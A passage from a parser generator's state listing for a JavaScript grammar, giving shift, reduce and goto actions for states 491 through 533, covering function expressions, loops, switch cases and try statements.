MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - FunctionBody go to state 514 - SourceElements go to state 468 - -state 491 - - 32) Property : IDENT IDENT "(" ")" "{" _ FunctionBody "}" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - FunctionBody go to state 515 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - SourceElements go to state 468 - -state 492 - - 33) Property : IDENT IDENT "(" FormalParameterList ")" _ "{" FunctionBody "}" - - "{" shift, and go to state 516 - - -state 493 - - 287) FunctionExpr : FUNCTION "(" ")" "{" FunctionBody "}" _ - - $default reduce using rule 287 (FunctionExpr) - - -state 494 - - 288) FunctionExpr : FUNCTION "(" FormalParameterList ")" "{" FunctionBody _ "}" - - "}" shift, and go to state 517 - - -state 495 - - 289) FunctionExpr : FUNCTION IDENT "(" ")" "{" FunctionBody _ "}" - - "}" shift, and go to state 518 - - -state 496 - - 290) FunctionExpr : FUNCTION IDENT "(" FormalParameterList ")" "{" _ FunctionBody "}" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - FunctionBody go to state 519 - SourceElements go to state 468 - -state 497 - - 242) IfStatement : IF "(" Expr ")" Statement ELSE Statement _ - - $default reduce using rule 242 (IfStatement) - - -state 498 - - 243) IterationStatement : DO Statement WHILE "(" Expr ")" ";" _ - - $default reduce using rule 243 (IterationStatement) - - -state 499 - - 244) IterationStatement : DO Statement WHILE "(" Expr ")" error _ - - $default reduce using rule 244 (IterationStatement) - - -state 500 - - 248) IterationStatement : FOR "(" LeftHandSideExpr IN Expr ")" Statement _ - - $default reduce using rule 248 (IterationStatement) - - -state 501 - - 192) ConditionalExprNoIn : LogicalORExprNoIn "?" AssignmentExprNoIn ":" AssignmentExprNoIn _ - - $default reduce using rule 192 (ConditionalExprNoIn) - - -state 502 - - 246) IterationStatement : FOR "(" ExprNoInOpt ";" ExprOpt ";" ExprOpt _ ")" Statement - - ")" shift, and go to state 520 - - -state 503 - - 229) VariableDeclarationNoIn : IDENT InitializerNoIn _ - - $default reduce using rule 229 (VariableDeclarationNoIn) - - -state 504 - - 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn ";" ExprOpt ";" _ ExprOpt ")" Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - $default reduce using rule 251 (ExprOpt) - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 451 - ExprOpt go to state 521 - -state 505 - - 214) Expr : Expr _ "," AssignmentExpr - 250) IterationStatement : FOR "(" VAR IDENT InitializerNoIn IN Expr _ ")" Statement - - ")" shift, and go to state 522 - "," shift, and go to state 213 - - -state 506 - - 249) IterationStatement : FOR "(" VAR IDENT IN Expr ")" _ Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 523 - -state 507 - - 269) CaseBlock : "{" CaseClausesOpt "}" _ - - $default reduce using rule 269 (CaseBlock) - - -state 508 - - 270) CaseBlock : "{" CaseClausesOpt DefaultClause _ CaseClausesOpt "}" - - CASE shift, and go to state 487 - $default reduce using rule 271 (CaseClausesOpt) - - CaseClausesOpt go to state 524 - CaseClauses go to state 485 - CaseClause go to state 486 - -state 509 - - 276) DefaultClause : DEFAULT _ ":" SourceElements - - ":" shift, and go to state 525 - - -state 510 - - 274) CaseClauses : CaseClauses CaseClause _ - - $default reduce using rule 274 (CaseClauses) - - -state 511 - - 214) Expr : Expr _ "," AssignmentExpr - 275) CaseClause : CASE Expr _ ":" SourceElements - - ":" shift, and go to state 526 - "," shift, and go to state 213 - - -state 512 - - 281) TryStatement : TRY Block CATCH "(" IDENT ")" Block _ - 282) TryStatement : TRY Block CATCH "(" IDENT ")" Block _ FINALLY Block - - FINALLY shift, and go to state 527 - $default reduce using rule 281 (TryStatement) - - -state 513 - - 285) FunctionDeclaration : FUNCTION IDENT "(" ")" "{" FunctionBody "}" _ - - $default reduce using rule 285 (FunctionDeclaration) - - -state 514 - - 286) FunctionDeclaration : FUNCTION IDENT "(" FormalParameterList ")" "{" FunctionBody _ "}" - - "}" shift, and go to state 528 - - -state 515 - - 32) Property : IDENT IDENT "(" ")" "{" FunctionBody _ "}" - - "}" shift, and go to state 529 - - -state 516 - - 33) Property : IDENT IDENT "(" FormalParameterList ")" "{" _ FunctionBody "}" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - FunctionBody go to state 530 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - SourceElements go to state 468 - -state 517 - - 288) FunctionExpr : FUNCTION "(" FormalParameterList ")" "{" FunctionBody "}" _ - - $default reduce using rule 288 (FunctionExpr) - - -state 518 - - 289) FunctionExpr : FUNCTION IDENT "(" ")" "{" FunctionBody "}" _ - - $default reduce using rule 289 (FunctionExpr) - - -state 519 - - 290) FunctionExpr : FUNCTION IDENT "(" FormalParameterList ")" "{" FunctionBody _ "}" - - "}" shift, and go to state 531 - - -state 520 - - 246) IterationStatement : FOR "(" ExprNoInOpt ";" ExprOpt ";" ExprOpt ")" _ Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 532 - -state 521 - - 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt _ ")" Statement - - ")" shift, and go to state 533 - - -state 522 - - 250) IterationStatement : FOR "(" VAR IDENT InitializerNoIn IN Expr ")" _ Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 534 - -state 523 - - 249) IterationStatement : FOR "(" VAR IDENT IN Expr ")" Statement _ - - $default reduce using rule 249 (IterationStatement) - - -state 524 - - 270) CaseBlock : "{" CaseClausesOpt DefaultClause CaseClausesOpt _ "}" - - "}" shift, and go to state 535 - - -state 525 - - 276) DefaultClause : DEFAULT ":" _ SourceElements - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - SourceElements go to state 536 - -state 526 - - 275) CaseClause : CASE Expr ":" _ SourceElements - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - SourceElements go to state 537 - -state 527 - - 282) TryStatement : TRY Block CATCH "(" IDENT ")" Block FINALLY _ Block - - "{" shift, and go to state 65 - - Block go to state 538 - -state 528 - - 286) FunctionDeclaration : FUNCTION IDENT "(" FormalParameterList ")" "{" FunctionBody "}" _ - - $default reduce using rule 286 (FunctionDeclaration) - - -state 529 - - 32) Property : IDENT IDENT "(" ")" "{" FunctionBody "}" _ - - $default reduce using rule 32 (Property) - - -state 530 - - 33) Property : IDENT IDENT "(" FormalParameterList ")" "{" FunctionBody _ "}" - - "}" shift, and go to state 539 - - -state 531 - - 290) FunctionExpr : FUNCTION IDENT "(" FormalParameterList ")" "{" FunctionBody "}" _ - - $default reduce using rule 290 (FunctionExpr) - - -state 532 - - 246) IterationStatement : FOR "(" ExprNoInOpt ";" ExprOpt ";" ExprOpt ")" Statement _ - - $default reduce using rule 246 (IterationStatement) - - -state 533 - - 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt ")" _ Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to 